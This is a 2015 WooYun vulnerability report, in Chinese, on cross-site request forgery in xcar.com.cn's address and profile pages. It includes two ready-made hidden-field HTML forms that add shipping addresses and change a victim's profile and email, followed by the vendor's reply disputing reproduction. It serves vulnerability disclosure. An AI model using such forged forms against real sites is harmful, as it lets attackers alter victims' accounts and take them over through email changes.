当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0100676

漏洞标题：爱卡汽车网CSRF一枚

相关厂商：爱卡汽车网

漏洞作者： 第四维度

提交时间：2015-03-12 11:18

修复时间：2015-03-16 11:05

公开时间：2015-03-16 11:05

漏洞类型：CSRF

危害等级：中

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-12： 细节已通知厂商并且等待厂商处理中
2015-03-16： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

CSRF

详细说明：

问题出在这里

http://my.xcar.com.cn/set/address.php


收货地址处，由于没有做好控制，导致可以添加任意收货地址。

爱卡1.png


这是已经添加好的。

爱卡2.png


接着我们构造表单，将收货人姓名修改一下。

<form method="POST" name="form0" action="http://my.xcar.com.cn:80/set/address.php?action=add">
<input type="hidden" name="type" value=""/>
<input type="hidden" name="id" value=""/>
<input type="hidden" name="uname" value="22222"/>
<input type="hidden" name="sheng_id" value="1"/>
<input type="hidden" name="shi_id" value="2"/>
<input type="hidden" name="xian_id" value="4"/>
<input type="hidden" name="address" value="11111111111"/>
<input type="hidden" name="postid" value="111111"/>
<input type="hidden" name="phone" value="13800138000"/>
<input type="hidden" name="tel" value=""/>
<input type="hidden" name="email" value=""/>
</form>


然后我们看看情况

爱卡3.png


可以看到已经添加了一个新的地址。
基本信息处同样也存在CSRF，可以任意修改信息。

爱卡4.png


这里先写上test1，我们重新构造表单。

爱卡5.png


<form method="POST" name="form0" action="http://my.xcar.com.cn:80/set/account.php?action=profile">
<input type="hidden" name="formhash" value="f11a1ad3"/>
<input type="hidden" name="chkname" value=""/>
<input type="hidden" name="mmvip" value="10"/>
<input type="hidden" name="usernamenew" value="768798545"/>
<input type="hidden" name="gendernew" value="1"/>
<input type="hidden" name="pro_id" value=""/>
<input type="hidden" name="c_id" value=""/>
<input type="hidden" name="year" value="2013"/>
<input type="hidden" name="month" value="02"/>
<input type="hidden" name="day" value="01"/>
<input type="hidden" name="qqnew" value=""/>
<input type="hidden" name="sitenew" value="http://"/>
<input type="hidden" name="emailnew" value="[email protected]"/>
<input type="hidden" name="signature_new" value="this is the csrftest2"/>
<input type="hidden" name="signature_old" value="this is the csrftest1"/>
<input type="hidden" name="editsubmit" value="??"/>
<input type="hidden" name="#160;??" value=""/>
</form>


爱卡6.png


可以看到 签名已经改了，并且我可以重置任意账号的邮箱，并且自动发送验证邮件！
虽然有fromhash，但是没什么用。

漏洞证明：

爱卡6.png

修复方案：

token

版权声明：转载请注明来源 第四维度@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-03-16 11:05

厂商回复：

感谢@第四维度 白帽子的帮助。
但是我们测试发现，上面说的那个csrf没有复现，并且很久以前代码当中就判断了reffer来源，非本站来源直接跳转到首页。
关于下面个人信息的csrf问题，因为上面表单中存在hash，洞主可能是用同一个账号来测试的这个csrf问题。
form hash的存在是为了防止csrf问题，但是对于同一个用户的某个时间段内form hash可能不会变化，所以同一个用户测试可能成功，但是不同用户的hash是不一样的，所以这个也没有复现。
再次感谢@第四维度 的帮助，如有不同意见，欢迎私信交流，我们会虚心听取。

最新状态：

暂无